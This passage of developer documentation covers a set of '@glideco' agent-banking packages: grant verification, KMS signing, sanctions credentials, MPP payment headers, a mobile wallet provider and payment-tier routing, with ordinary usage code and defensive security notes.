(rendered from the `observations[]` field; no LLM-narrated `summary`).
## I/O contract
Every input is a shape the LLM can faithfully narrate; every output is
a shape the UI can deterministically render. Both Zod-validated.
```ts theme={null}
interface ExplainerInput {
toolCall: {
id: string;
toolName: string;
agentDisplayName: string;
timestampISO: string;
amountUsdCents: number | null;
counterpartyLabel: string | null;
riskVerdict: 'pass' | 'flag' | 'block' | null;
};
envelope: {
perTxCapUsdCents: number | null;
dailyCapUsdCents: number | null;
stepUpAmountUsdCents: number | null;
};
recentHistory: Array<{ /* ... */ }>;
policyVersion: number;
}
interface ExplainerOutput {
summary: string;
detail?: string;
observations: Array<{
kind:
| 'within-caps' | 'near-per-tx-cap' | 'near-daily-cap'
| 'over-step-up' | 'novel-counterparty' | 'velocity-spike'
| 'risk-flag' | 'risk-block';
detail: string;
}>;
confidence: number;
}
```
The closed `observations.kind` vocabulary is intentional — the UI
chip-renderer is a switch on those keys. New kinds require schema
update + UI render path update.
## Wiring
The package is LLM-agnostic. Operators bring their own client.
```ts theme={null}
import Anthropic from '@anthropic-ai/sdk';
import {
buildPrompt,
ExplainerInputSchema,
ExplainerOutputSchema,
} from '@glideco/explainer';
const claude = new Anthropic({ apiKey: process.env.ANTHROPIC_API_KEY });
async function explain(input) {
const validated = ExplainerInputSchema.parse(input);
const { system, user } = buildPrompt(validated);
const res = await claude.messages.create({
model: 'claude-sonnet-4-5',
max_tokens: 1024,
system,
messages: [{ role: 'user', content: user }],
});
const text = res.content
.filter((b) => b.type === 'text')
.map((b) => b.text)
.join('\n');
return ExplainerOutputSchema.parse(JSON.parse(text));
}
```
## Eval harness
Build a golden set of 500+ labeled `(input, expected_summary)` pairs
covering every `riskVerdict` × envelope-axis combination plus
adversarial inputs (prompt-injection attempts in counterparty labels,
contradictory history entries, etc.).
For each input, run the explainer + compare claims against ground truth.
A "misrepresent" is any output that:
1. Contradicts a present field (e.g. claims 'pass' when input was 'block').
2. Invents a field not in the input.
Compute the rate with Wilson confidence interval (not naive proportion).
Ship only when 95% upper bound ≤ 1%.
Sample low-confidence runtime outputs to expand the golden set
continuously.
## Reading list
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/explainer)
* [`@glideco/anomaly`](/oss/packages/anomaly) — heuristic signals
the explainer narrates.
# @glideco/grant-wrapper
Source: https://glide-9da73dea.mintlify.app/oss/packages/grant-wrapper
Fresh-read tenant + grant verification for Glide agent tools. Implements the F3 IRON RULE: cached grant alone never authorizes a money-touching call.
`verifyGrant()` is the entry gate every Glide MCP tool handler calls before
touching money or reading sensitive vault state. It implements the **F3 IRON RULE**
from the Glide money-safety contracts: re-read the grant row and the
(principal, entity, vault) tenant graph from the database on every invocation.
A JWT grant that was valid at issue time is treated as untrusted until the
DB confirms it still is.
Bearer tokens are point-in-time snapshots. Between issue and use the principal's
entity membership can be revoked, transferred, or suspended; the grant itself can
be superseded by a policy refresh. Trusting ambient server state — or the cached
grant alone — leaves a window where a revoked principal can still move funds.
This package closes that window at the cost of one DB read per tool call.
## Install
```bash theme={null}
npm install @glideco/grant-wrapper
```
[npmjs.com/package/@glideco/grant-wrapper](https://www.npmjs.com/package/@glideco/grant-wrapper)
## Why two fresh reads?
The grant DB row answers "has this token been revoked or superseded since issue?"
The tenant graph answers "does (principal, entity, vault) still hold?" Both are
necessary. A grant row that isn't revoked still doesn't authorize a call if the
principal was removed from the entity between issue and use. Checking only one
leaves an IDOR path; checking both closes it.
Clock-skew tolerance (`clockSkewSeconds`, default 0) absorbs the 10–30 second
drift measured in the Privy spike between Vercel pods, Hydra/Ory, and agent
devices. The production default is 60 seconds — wide enough to absorb drift
without meaningfully extending the effective grant lifetime.
## API
```ts theme={null}
import { verifyGrant, GrantError, type VerifiedGrant } from '@glideco/grant-wrapper';
// Operator wires these two lookups over their DB driver:
const grantLookup: GrantLookup = async (grantId) => {
const [row] = await db
.select({
revoked_at: grants.revokedAt,
superseded_by: grants.supersededBy,
expires_at: grants.expiresAt,
})
.from(grants)
.where(eq(grants.id, grantId))
.limit(1);
return row ?? null;
};
const tenantLookup: TenantLookup = async (principalId, entityId, vaultId) => {
const [row] = await db
.select({
entity_belongs_to_principal: entityMembers.entityId,
vault_belongs_to_entity: vaults.entityId,
})
.from(entityMembers)
.innerJoin(vaults, eq(vaults.entityId, entityMembers.entityId))
.where(
and(
eq(entityMembers.userId, principalId),
eq(entityMembers.entityId, entityId),
eq(vaults.id, vaultId),
),
)
.limit(1);
return row
? {
entity_belongs_to_principal: Boolean(row.entity_belongs_to_principal),
vault_belongs_to_entity: Boolean(row.vault_belongs_to_entity),
}
: null;
};
```
## Verifying a grant in a tool handler
```ts theme={null}
import { verifyGrant, GrantError } from '@glideco/grant-wrapper';
async function handleTransferSendUsdc(claims, args) {
let ctx: VerifiedGrant;
try {
ctx = await verifyGrant(claims, 'treasury:write', {
grantLookup,
tenantLookup,
clockSkewSeconds: 60,
requiredAudience: {
vault_id: args.vaultId,
entity_id: args.entityId,
},
});
} catch (err) {
if (err instanceof GrantError) {
// err.code is one of the typed GrantErrorCode values.
return { ok: false, error: err.code };
}
throw err;
}
// ctx.principal_id, ctx.entity_id, ctx.vault_id are freshly verified.
// ctx.policy_version is used to detect stale-policy calls.
return await doTransfer(ctx, args);
}
```
## Error codes
`GrantError` carries a typed `code` so callers can route errors precisely:
| Code | Meaning |
| --------------------- | ------------------------------------------------------------ |
| `grant_not_found` | `jti` not in DB; token may be fabricated or pruned |
| `grant_revoked` | Row has `revoked_at` set (kill-switch or manual revoke) |
| `grant_superseded` | Grant was replaced by a policy refresh; agent must re-issue |
| `grant_expired` | `exp + clockSkewSeconds ≤ now` |
| `grant_not_yet_valid` | `nbf - clockSkewSeconds > now` |
| `scope_missing` | Required scope not in grant's `scope` array |
| `audience_mismatch` | Grant `aud.vault_id` or `aud.entity_id` doesn't match caller |
| `tenant_mismatch` | (principal, entity) or (entity, vault) relationship broken |
## Narrowing detection
For policy refreshes, the companion `isNarrowingOrUnchanged` export from
`@glideco/policy-engine` determines whether a refresh broadens or only
tightens the policy. `verifyGrant` handles liveness and IDOR checks;
narrowing detection is a separate concern in the policy engine.
## Reading list
* [Money-safety contracts](/oss/concepts/money-safety-contracts) —
F3 (fresh-read tenant verify) is the rule this package enforces.
* [`@glideco/policy-engine`](/oss/packages/policy-engine) — evaluated
after `verifyGrant` passes; `ctx.policy_version` connects the two.
* [Grant schema](https://glide.co/schemas/agent-banking/v1/grant.json) —
the JWT claims shape (`GrantClaims`) this package verifies against.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/grant-wrapper)
# @glideco/kms-signer
Source: https://glide-9da73dea.mintlify.app/oss/packages/kms-signer
Pluggable KMS signer interface for AWS KMS, GCP KMS, and HashiCorp Vault Transit. Used to issue W3C VCs and build did:web documents.
Vendor-neutral signing abstraction for Glide's VC issuer and `did:web`
document builder. All four backends — AWS KMS, GCP KMS, HashiCorp Vault
Transit, and an env-key reference implementation — satisfy the same
`KmsSigner` interface, so application code is decoupled from any single KMS
vendor. Managed backends keep signing inside the configured KMS or Vault service; callers send a payload and receive a signature.
The env-key backend holds a software private key in process memory and is
fail-closed: `buildKmsSigner` throws at boot time when `NODE_ENV=production`.
## Install
```bash theme={null}
npm install @glideco/kms-signer
```
[npmjs.com/package/@glideco/kms-signer](https://www.npmjs.com/package/@glideco/kms-signer)
## Why a neutral interface?
A single long-lived issuer key (e.g. for `did:web:glide.co`) cannot live in
an environment variable in production under this package's configuration rules. The three production
backends share one interface so the VC issuer code, the `did:web` document
builder, and any future long-lived signing path are not entangled with a
specific cloud KMS. Switching from AWS to GCP is a one-line change in the
boot path.
## KmsSigner interface
```ts theme={null}
interface KmsSigner {
readonly backend: 'aws' | 'gcp' | 'vault' | 'env-key';
readonly algorithm: 'ed25519' | 'es256' | 'es384' | 'rsa256';
readonly keyId: string; // ARN / Vault path / alias / env-key-
sign(request: KmsSignRequest): Promise;
getPublicKeyPem(): Promise;
}
```
`keyId` shapes accepted per backend:
* AWS KMS: `arn:aws:kms:::key/`, `alias/`, or the short `alias/` form.
* GCP KMS: `projects//locations//keyRings//cryptoKeys/`.
* Vault Transit: `transit/keys/`.
* env-key: `env-key-` (auto-derived if omitted).
## Dev / test: env-key backend
```ts theme={null}
import { buildEnvKeySigner } from '@glideco/kms-signer';
const signer = buildEnvKeySigner({
privateKeyPem: process.env.ISSUER_KEY_PEM!,
algorithm: 'ed25519',
nodeEnv: process.env.NODE_ENV, // throws if 'production'
});
const result = await signer.sign({
payload: Buffer.from('hello').toString('base64url'),
algorithm: 'ed25519',
keyId: signer.keyId,
});
// result.signature → base64url-encoded 64-byte Ed25519 sig
```
## Production: bring your own backend
```ts theme={null}
import { buildKmsSigner, type KmsSigner } from '@glideco/kms-signer';
import { KMSClient, SignCommand } from '@aws-sdk/client-kms';
const kmsClient = new KMSClient({ region: 'us-east-1' });
const keyId = 'arn:aws:kms:us-east-1:123456789012:key/abc-def';
const signer = buildKmsSigner({
backend: 'aws',
algorithm: 'ed25519',
keyId,
impl: {
async sign({ payload, algorithm, keyId }) {
const res = await kmsClient.send(new SignCommand({
KeyId: keyId,
Message: Buffer.from(payload, 'base64url'),
MessageType: 'RAW',
SigningAlgorithm: 'ECDSA_SHA_256', // map algorithm → AWS enum
}));
return {
signature: Buffer.from(res.Signature!).toString('base64url'),
algorithm,
keyId,
signedAt: new Date().toISOString(),
};
},
async getPublicKeyPem() {
// fetch public key from AWS KMS GetPublicKey and convert to SPKI PEM
return myFetchPublicKeyPem(kmsClient, keyId);
},
},
});
```
## Build a did:web document
```ts theme={null}
import { buildDidWebDocument } from '@glideco/kms-signer';
const pubKeyPem = await signer.getPublicKeyPem();
// Convert PEM to multibase or JWK as needed, then:
const didDoc = buildDidWebDocument({
domain: 'glide.co',
keyId: 'key-1',
algorithm: 'ed25519',
publicKeyMultibase: 'zABCDEF...', // multibase(pubkey bytes)
serviceEndpoint: {
issuerEndpoint: 'https://glide.co/credentials/issue',
vcStatusListUrl: 'https://glide.co/credentials/status/1',
},
});
// Serve `JSON.stringify(didDoc, null, 2)` at
// https://glide.co/.well-known/did.json
```
The output is the JSON that VC verifiers fetch to validate signatures over
`AgentSanctionsPassCredential` and any other VC Glide issues.
## ECDSA and IEEE P-1363
For `es256` and `es384`, `node:crypto`'s default `sign.sign(key)` emits
ASN.1 DER — every JOSE/JWS verifier and VC cryptosuite expects IEEE P-1363
raw r‖s (64 bytes for P-256, 96 for P-384). The env-key backend passes
`{ dsaEncoding: 'ieee-p1363' }` internally. Production backends that wrap
AWS KMS should verify the `Signature` bytes are in the same format — AWS KMS
returns DER by default and may require a DER→P-1363 conversion step.
## Reading list
* [`@glideco/kya-vc`](/oss/packages/kya-vc) — consumes `KmsSigner` to issue `AgentSanctionsPassCredential`.
* [`@glideco/agent-identity`](/oss/packages/agent-identity) — produces the `did:key` used as VC subject.
* [did:web method](https://w3c-ccg.github.io/did-method-web/)
* [W3C VC Data Model 1.1](https://www.w3.org/TR/vc-data-model/)
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/kms-signer)
# @glideco/kya-vc
Source: https://glide-9da73dea.mintlify.app/oss/packages/kya-vc
AgentSanctionsPassCredential issuer. Wraps Chainalysis screening results as W3C Verifiable Credentials signed by Glide's institutional issuer key.
`AgentSanctionsPassCredential` — the agent-side mirror of KYC. Wraps a
Chainalysis sanctions screening result in a W3C Verifiable Credential that
institutional clients can show auditors. The credential is signed by Glide's
institutional issuer key (a `did:web:glide.co` identity) via the
`@glideco/kms-signer` abstraction, so the private key never leaves AWS KMS,
GCP KMS, or HashiCorp Vault Transit.
Verifiers fetch `https://glide.co/.well-known/did.json` to obtain the issuer's
public key and verify the signature standalone — no Glide API call required at
verification time.
## Install
```bash theme={null}
npm install @glideco/kya-vc @glideco/kms-signer
```
[npmjs.com/package/@glideco/kya-vc](https://www.npmjs.com/package/@glideco/kya-vc)
## What the credential proves
1. The agent's wallet (`did:key`, per-grant) and its delegating user's vault
were screened against OFAC SDN, UN Consolidated, EU financial sanctions,
and UK HMT lists at `issuanceDate`.
2. The screening came back clean, or where hits occurred, each was
cleared (`disposition: 'cleared-false-positive'` or `'escalated'`).
3. The package defaults credentials to a 90-day lifetime. This is a software default, not a regulatory freshness rule. Verifiers MUST reject expired credentials and apply their own screening requirements.
Screenings with `disposition: 'blocked'` are refused: `issueAgentSanctionsPassCredential`
throws rather than issue a credential with an unresolved blocking hit.
## Supported cryptosuites
| Signer algorithm | VC proof type | proofValue encoding |
| ---------------- | ----------------------------- | ------------------------------------------------------ |
| `ed25519` | `Ed25519Signature2020` | base58btc (prefix `z`) |
| `es256` | `EcdsaSecp256r1Signature2019` | base58btc (prefix `z`), IEEE P-1363 raw r‖s |
| `es384` | `EcdsaSecp384r1Signature2019` | base58btc (prefix `z`), IEEE P-1363 raw r‖s (96 bytes) |
`rsa256` is explicitly rejected — Glide's E19 plan targets ed25519 or es256
(matching App Attest's P-256 curve).
## Issue a credential
```ts theme={null}
import { issueAgentSanctionsPassCredential } from '@glideco/kya-vc';
import { buildEnvKeySigner } from '@glideco/kms-signer';
const signer = buildEnvKeySigner({
privateKeyPem: process.env.ISSUER_PRIVATE_KEY_PEM!,
algorithm: 'ed25519',
nodeEnv: 'development', // throws in production — use aws/gcp/vault instead
});
const vc = await issueAgentSanctionsPassCredential({
screening: {
screeningId: '018f1a2b-0000-7000-8000-000000000001',
screenedAt: '2026-05-04T12:00:00Z',
subjectDid: 'did:key:zDnaeYr8LMXDy6dP...',
addresses: [{ chain: 'eth', address: '0xABCDEF1234...' }],
listsScreened: ['ofac-sdn', 'un-consolidated'],
hits: [],
provider: 'chainalysis',
},
issuerDid: 'did:web:glide.co',
signer,
statusListUrl: 'https://glide.co/credentials/status/1',
statusListIndex: 42,
});
```
## Validate a presented credential
```ts theme={null}
import {
parseAgentSanctionsPassCredential,
validateCredentialEnvelope,
} from '@glideco/kya-vc';
// 1. Parse and validate shape (throws on schema mismatch).
const vc = parseAgentSanctionsPassCredential(inboundJson);
// 2. Check issuer, expiry, proof block presence.
const outcome = validateCredentialEnvelope(vc);
if (!outcome.ok) {
throw new Error(`credential rejected: ${outcome.reason}`);
}
// 3. Caller must verify the cryptographic signature using the issuer's
// public key from https://glide.co/.well-known/did.json.
```
## Decode a proof value
```ts theme={null}
import { decodeProofValue } from '@glideco/kya-vc';
// Accepts multibase prefix `z` (base58btc) or `u` (base64url).
const sigBytes = decodeProofValue(vc.proof!.proofValue);
// → Uint8Array (64 bytes for ed25519 / es256; 96 bytes for es384)
```
## Revocation via StatusList2021
Pass `statusListUrl` and `statusListIndex` to embed a `credentialStatus`
block in the credential. If a screening result is later reversed (e.g.,
disposition changed to `'blocked'`), flip the bit in the status list at
that index — verifiers that fetch the status list will see `revoked: true`
on their next check without requiring a new credential issuance.
## Reading list
* [`@glideco/kms-signer`](/oss/packages/kms-signer) — KMS backends used for signing.
* [`@glideco/agent-identity`](/oss/packages/agent-identity) — produces the `did:key` that becomes the credential subject.
* [W3C VC Data Model 1.1](https://www.w3.org/TR/vc-data-model/)
* [StatusList 2021 revocation](https://w3c.github.io/vc-status-list-2021/)
* [did:web method](https://w3c-ccg.github.io/did-method-web/)
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/kya-vc)
# @glideco/mpp-adapter
Source: https://glide-9da73dea.mintlify.app/oss/packages/mpp-adapter
Wire-format encoder/decoder for the Machine Payments Protocol (MPP). RFC 7235 Payment auth scheme, JCS-canonicalized payloads, multi-rail 402 challenges.
Wire-format encoder and decoder for the Machine Payments Protocol (MPP), the
IETF draft `draft-ryan-httpauth-payment` co-authored by Brendan Ryan (Tempo)
and Jeff Weinstein (Stripe). The adapter handles the three-header round-trip:
`WWW-Authenticate: Payment` (challenge), `Authorization: Payment` (credential),
and `Payment-Receipt` (receipt). Pure functions, no IO — HTTP transport and
on-chain settlement live in the MCP gateway.
This package is a wire-format adapter, not the source of truth for the MPP
spec. When the IETF draft advances to a new revision or breaks compatibility at
the quoted-string escaping or JCS layers, a new minor is shipped and the
`MPP_VERSION` constant is bumped in the same PR.
## Install
```bash theme={null}
npm install @glideco/mpp-adapter
```
[npmjs.com/package/@glideco/mpp-adapter](https://www.npmjs.com/package/@glideco/mpp-adapter)
## Why MPP alongside x402?
MPP and x402 are not wire-compatible. x402 uses custom headers
(`X-PAYMENT-REQUIRED`, `X-PAYMENT`, `X-PAYMENT-RESPONSE`); MPP uses standard
RFC 7235 (`WWW-Authenticate: Payment`, `Authorization: Payment`,
`Payment-Receipt`). The two can coexist on the same endpoint via separate header
sets — Glide's MCP gateway dispatches both. Use MPP when your buyer agents
prefer standards-track HTTP auth scheme machinery; use x402 when you want the
broader existing agent ecosystem that already speaks it.
The `method=` parameter selects the settlement rail. The server can issue one
`WWW-Authenticate: Payment` header per supported method in the same 402; the
buyer agent picks one. Glide supports `tempo` and `solana` today; `lightning`
and `stripe` land in a later release.
## Spec version
Pinned to MPP **`draft-mpp-v1-2026-04`** (IETF draft `draft-ryan-httpauth-payment`).
Exported as `MPP_VERSION = '1.0'`. When the IETF draft becomes an RFC or breaks
compat at a draft revision, bump the version literal and re-verify
`serializeWwwAuthenticatePayment` quoted-string escape behavior — RFC 7230 §3.2.6
changes around `obs-text` affect the backslash + CR/LF handling.
## API surface
| Export | Description |
| -------------------------------------------- | --------------------------------------------------------------------------------------------------------------------- |
| `buildMppChallenge(args)` | Build a charge-intent challenge object (Zod-validated). |
| `serializeWwwAuthenticatePayment(challenge)` | Serialize to `WWW-Authenticate: Payment …` header value. CR/LF in any field throws (HTTP response-splitting defense). |
| `parseAuthorizationPayment(header)` | Parse the client's `Authorization: Payment ` header. Returns `null` on parse failure. |
| `composeMultiRailChallenge(challenges)` | Build one header string per method for multi-rail 402. |
| `buildMppCharge(args)` | Convenience wrapper that builds + serializes in one call. |
| `serializePaymentReceipt(receipt)` | Serialize a `Payment-Receipt` header value (base64url-JCS). |
| `parsePaymentReceipt(headerValue)` | Parse a `Payment-Receipt` header value. |
| `MPP_AUTH_SCHEME` | `'Payment'` — the RFC 7235 scheme name. |
| `MPP_VERSION` | `'1.0'` — wire spec version. |
## Challenge + credential round-trip
```ts theme={null}
import {
buildMppChallenge,
serializeWwwAuthenticatePayment,
parseAuthorizationPayment,
} from '@glideco/mpp-adapter';
// Server: issue a charge challenge
const challenge = buildMppChallenge({
id: crypto.randomUUID(),
realm: 'api.glide.co',
method: 'tempo',
request: {
amount: '5.00',
currency: 'USDC',
recipient: '0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48',
externalId: 'order_abc123',
},
expiresInSeconds: 300,
});
const wwwAuthHeader = serializeWwwAuthenticatePayment(challenge);
// → 'Payment id="…", realm="api.glide.co", method="tempo", intent="charge", …'
// On retry: parse the client credential
const credential = parseAuthorizationPayment(
request.headers.get('Authorization') ?? ''
);
if (!credential) return new Response(null, { status: 400 });
// → { challengeId, method: 'tempo', payload: { signature, authorization } }
```
## Multi-rail 402
Serve multiple payment methods in a single 402 — the buyer agent picks one:
```ts theme={null}
import { buildMppChallenge, composeMultiRailChallenge } from '@glideco/mpp-adapter';
const baseRequest = {
amount: '1.00',
currency: 'USDC',
recipient: '0xGlideVault…',
};
const headers = composeMultiRailChallenge([
buildMppChallenge({ id: crypto.randomUUID(), realm: 'api.glide.co', method: 'tempo', request: baseRequest }),
buildMppChallenge({ id: crypto.randomUUID(), realm: 'api.glide.co', method: 'solana', request: baseRequest }),
]);
// Emit each as a separate WWW-Authenticate header
headers.forEach((h) => response.headers.append('WWW-Authenticate', h));
```
## Receipt serialization
After F1 server-side RPC verification confirms settlement, emit the receipt:
```ts theme={null}
import { serializePaymentReceipt } from '@glideco/mpp-adapter';
const receiptHeader = serializePaymentReceipt({
challengeId: credential.challengeId,
method: 'tempo',
reference: '0xabc123…', // on-chain tx hash
amountPaid: '5.00',
currency: 'USDC',
settledAt: new Date().toISOString(),
});
return new Response(JSON.stringify({ ok: true }), {
headers: { 'Payment-Receipt': receiptHeader },
});
```
## Security notes
`serializeWwwAuthenticatePayment` throws if any field contains CR (`\r`) or LF
(`\n`) — those bytes enable HTTP response-splitting and indicate untrusted data
reaching the challenge builder without sanitization. The function escapes
backslash before double-quote (in that order) to comply with RFC 7235
quoted-string escaping.
The F1 money-safety rule (server-side RPC verify before recording settlement)
lives in the MCP gateway, not here. This package is intentionally scope-limited
to encoding and decoding headers.
## Reading list
* [Money-safety contracts](/oss/concepts/money-safety-contracts) — the
F-rules every money-touching path observes.
* [ConnectorManifest standard](/oss/standards/connector-manifest) — how
Glide registers payment-protocol capabilities.
* [`@glideco/ap2-adapter`](/oss/packages/ap2-adapter) — Google AP2 mandate
layer that sits above MPP settlement.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/mpp-adapter)
# @glideco/ows-react-native
Source: https://glide-9da73dea.mintlify.app/oss/packages/ows-react-native
Open Wallet Standard (OWS) provider for React Native. Exposes iOS Secure Enclave and Android StrongBox keys as a spec-conformant wallet.
Open Wallet Standard (OWS) provider for React Native. Exposes Glide's
mobile hardware-backed signer — iOS Secure Enclave on Apple devices, Android
StrongBox on qualifying Android devices — as an OWS-conformant wallet so
any agent runtime that discovers an OWS provider on the device can use
Glide's hardware-attested keys without Glide-specific integration code.
OWS launched March 2026 (MoonPay-led, MIT-licensed, 15+ org backers
including PayPal, Circle, Solana Foundation, and Ethereum Foundation). The
canonical `@open-wallet-standard/core` ships Rust, Node, and Python only;
there is no official React Native SDK. This package fills that gap.
## Install
```bash theme={null}
npm install @glideco/ows-react-native
```
[npmjs.com/package/@glideco/ows-react-native](https://www.npmjs.com/package/@glideco/ows-react-native)
## Why OWS?
Agent runtimes (Claude, ChatGPT Plugins, Gemini extensions, custom MCP
clients) discover wallets through the Wallet Standard event bus rather than
hardcoding vendor SDKs. A wallet that registers on the bus becomes visible
to any runtime that listens — no per-integration code. The OWS spec defines
the exact event names, feature-string keys, and `WalletAccount` shape that
runtimes expect.
## CAIP-2 chains supported
```ts theme={null}
OWS_SUPPORTED_CHAINS = [
'solana:mainnet',
'eip155:1', // ethereum
'eip155:8453', // base
'eip155:42161', // arbitrum
'eip155:10', // optimism
'eip155:137', // polygon
'eip155:5000', // tempo
'stellar:pubnet',
]
```
These are CAIP-2 identifiers — distinct from Glide's internal short-ids
(`eth`, `sol`). `chainIdToCaip2()` from `@glideco/schemas` translates
between them at the apps/mobile boundary.
## Live features
| Feature string | Status |
| ------------------------------- | -------------------------- |
| `standard:connect` | live |
| `standard:disconnect` | live |
| `standard:events` | live |
| `solana:signMessage` | live |
| `ethereum:personalSign` | live |
| `solana:signAndSendTransaction` | stub (`E_NOT_IMPLEMENTED`) |
| `solana:signTransaction` | stub |
| `ethereum:signTypedData` | stub |
| `ethereum:sendTransaction` | stub |
| `stellar:signTransaction` | stub |
Stubs throw an error with `code: 'E_NOT_IMPLEMENTED'`. Agent runtimes
that probe features before calling them will route to a fallback wallet
rather than treating Glide as non-conformant.
## Wiring
Build the wallet with a `OwsSignerBackend` that your app provides, then
register it on the event bus.
```ts theme={null}
import {
buildGlideOwsWallet,
registerGlideOwsWallet,
type OwsSignerBackend,
} from '@glideco/ows-react-native';
// Your app's hardware-backed signer.
const enclaveBackend: OwsSignerBackend = {
async getAddress(chain) { /* … */ return '0xABC…'; },
async getPublicKey(chain) { /* … */ return 'base64url-pubkey'; },
async sign(request) { /* call iOS Secure Enclave / StrongBox */ },
};
const { wallet, refreshAccounts } = await buildGlideOwsWallet({
backend: enclaveBackend,
appVersion: '1.0.0',
chains: ['eip155:1', 'solana:mainnet'],
accountLabel: 'Glide Vault',
});
// Register on the Wallet Standard bus.
// Call this at app start — before any agent runtime fires wallet-standard:app-ready.
const { unregister } = registerGlideOwsWallet(wallet);
// Call when the user switches vaults.
await refreshAccounts();
```
## Event protocol
Two registration paths co-exist:
1. **Legacy**: `registerGlideOwsWallet` dispatches `wallet-standard:register-wallet`
on startup. Apps that pre-load wallets listen for this event and add
Glide to their wallet picker.
2. **Modern**: `registerGlideOwsWallet` also attaches a `wallet-standard:app-ready`
listener. Apps that bootstrap late fire `app-ready` with a `register`
callback; Glide calls `register(wallet)` to introduce itself.
Both events are handled. The `unregister` handle returned by
`registerGlideOwsWallet` removes the `app-ready` listener — call it on vault
switch before calling `registerGlideOwsWallet` again.
## OwsSignerBackend contract
```ts theme={null}
interface OwsSignerBackend {
getAddress(chain: OwsChain): Promise;
getPublicKey(chain: OwsChain): Promise;
sign(request: OwsSignRequest): Promise;
}
// OwsSignRequest (internal protocol — base64url for cross-runtime portability)
// {
// chain: OwsChain,
// address: string, // reject on mismatch
// message: string, // raw bytes, base64url
// typedData?: boolean, // true = EIP-712 JSON-encoded typed data
// reason: string, // shown in biometric prompt, max 200 chars
// }
```
Returning `null` from `getAddress` or `getPublicKey` signals that the backend
has no key for that chain; `buildGlideOwsWallet` omits that chain from
`wallet.accounts`.
## Duplicate chain guard
`buildGlideOwsWallet` throws if `chains` contains duplicate CAIP-2 entries.
Agent runtimes dispatch via `wallet.chains.includes(target)` and pick the
first match; duplicates cause the `change` event to fire twice for the same
chain on `refreshAccounts`.
## Reading list
* [Wallet Standard spec](https://wallet-standard.com/wallet)
* [Open Wallet Standard GitHub](https://github.com/wallet-standard/wallet-standard)
* [`@glideco/agent-identity`](/oss/packages/agent-identity) — the `did:key` that backs the signing address.
* [`@glideco/schemas`](/oss/packages/schemas) — `chainIdToCaip2()` for translating Glide chain ids to OWS CAIP-2 form.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/ows-react-native)
# @glideco/parley-tiers
Source: https://glide-9da73dea.mintlify.app/oss/packages/parley-tiers
Project smart-router rail candidates into turbo/fast/batch payment tiers. Pure function, no IO, additive to vanilla MPP.
Projects `@glideco/smart-router` rail candidates into the parley-protocol three-tier vocabulary: `turbo`, `fast`, and `batch`. Agents can present these tiers in a chooser UI, pass a tier preference to `payments.initiate`, or ignore tiers entirely — backward-compatible with vanilla MPP.
Pure functions, no IO.
## Install
```bash theme={null}
npm install @glideco/parley-tiers
```
[npmjs.com/package/@glideco/parley-tiers](https://www.npmjs.com/package/@glideco/parley-tiers)
## Why tiers
The smart-router returns a ranked list of rails sorted by fee. That list is the right output for the dispatcher, but it's the wrong surface for agents that need to give users a choice. "Tempo USDC — $0.05 — 800ms" and "Lightning via Spark — $0.01 — 200ms" are both valid options, but they mean different things to a user who's about to pay a contractor.
Parley tiers give that list a name. The three tiers cover the practical range:
* `turbo` — p95 latency ≤ 500ms, fee penalty acceptable.
* `fast` — p95 latency ≤ 5s, lowest fee within that ceiling.
* `batch` — p95 latency ≤ 10 min, cheapest path overall.
Thresholds are overridable. A B2B SLA might define `fast` as ≤ 500ms rather than ≤ 5s.
## API surface
### `buildParleyTiers(candidates, thresholds?): ParleyTier[]`
```ts theme={null}
import { buildParleyTiers } from '@glideco/parley-tiers';
const tiers = buildParleyTiers([
{
rail: 'tempo:usdc',
displayName: 'Tempo USDC',
feeCents: 5,
latencyP95Ms: 800,
confidence: 0.98,
feeCurrency: 'USD',
meta: {},
},
{
rail: 'lightning:spark',
displayName: 'Lightning via Spark',
feeCents: 1,
latencyP95Ms: 200,
confidence: 0.92,
feeCurrency: 'USD',
meta: {},
},
{
rail: 'sepa:monerium',
displayName: 'SEPA via Monerium',
feeCents: 0,
latencyP95Ms: 86400000, // 24h — too slow even for batch → dropped
confidence: 0.99,
feeCurrency: 'USD',
meta: {},
},
]);
// Returns ParleyTier[] — one entry per eligible (rail, tier) pair.
// Rails too slow for any tier are silently dropped.
// tiers[0] → { tier: 'turbo', rail: 'lightning:spark', rank: 1, ... }
// tiers[1] → { tier: 'fast', rail: 'lightning:spark', rank: 1, ... }
// tiers[2] → { tier: 'fast', rail: 'tempo:usdc', rank: 2, ... }
```
Within a tier, rails are sorted fee ASC → latency ASC → confidence DESC.
### `pickPreferredTier(tiers, preference): ParleyTier | undefined`
Returns the best candidate for the requested tier. If that tier has no candidates, falls back in the order:
* `turbo` → `fast` → `batch`
* `fast` → `turbo` → `batch`
* `batch` → `fast` → `turbo`
```ts theme={null}
import { buildParleyTiers, pickPreferredTier } from '@glideco/parley-tiers';
const tiers = buildParleyTiers(candidates);
const pick = pickPreferredTier(tiers, 'fast');
if (pick) {
await payments.initiate({
rail: pick.rail,
feeCents: pick.feeCents,
meta: { parleyTier: pick.tier, parleyRank: pick.rank },
});
}
```
### `classifyTier(latencyP95Ms, thresholds?): ParleyTierName | undefined`
Classify a single latency value without building the full tier list. Returns `undefined` when the latency exceeds the batch ceiling.
```ts theme={null}
import {
classifyTier,
DEFAULT_TIER_THRESHOLDS,
} from '@glideco/parley-tiers';
classifyTier(200); // 'turbo'
classifyTier(2000); // 'fast'
classifyTier(120_000); // 'batch'
classifyTier(900_000); // undefined — too slow
// Custom thresholds for a latency-sensitive B2B SLA
classifyTier(800, { turboMaxMs: 300, fastMaxMs: 800, batchMaxMs: 60_000 });
// → 'fast' (800ms is within the 800ms fast ceiling)
```
## Confidence flagging
Rail candidates carry a `confidence` field (0–1) set by the smart-router from observed success rate. `buildParleyTiers` preserves confidence on each `ParleyTier`. Low-confidence rails will rank behind higher-confidence rails with equal fee + latency, and the caller can choose to display a warning to the user when `confidence < 0.8`.
## Reading list
* [`@glideco/smart-router`](/oss/packages/smart-router) — produces the `RouteCandidate[]` list you convert to `RailCandidate[]` for this package.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/parley-tiers)
# @glideco/policy-engine
Source: https://glide-9da73dea.mintlify.app/oss/packages/policy-engine
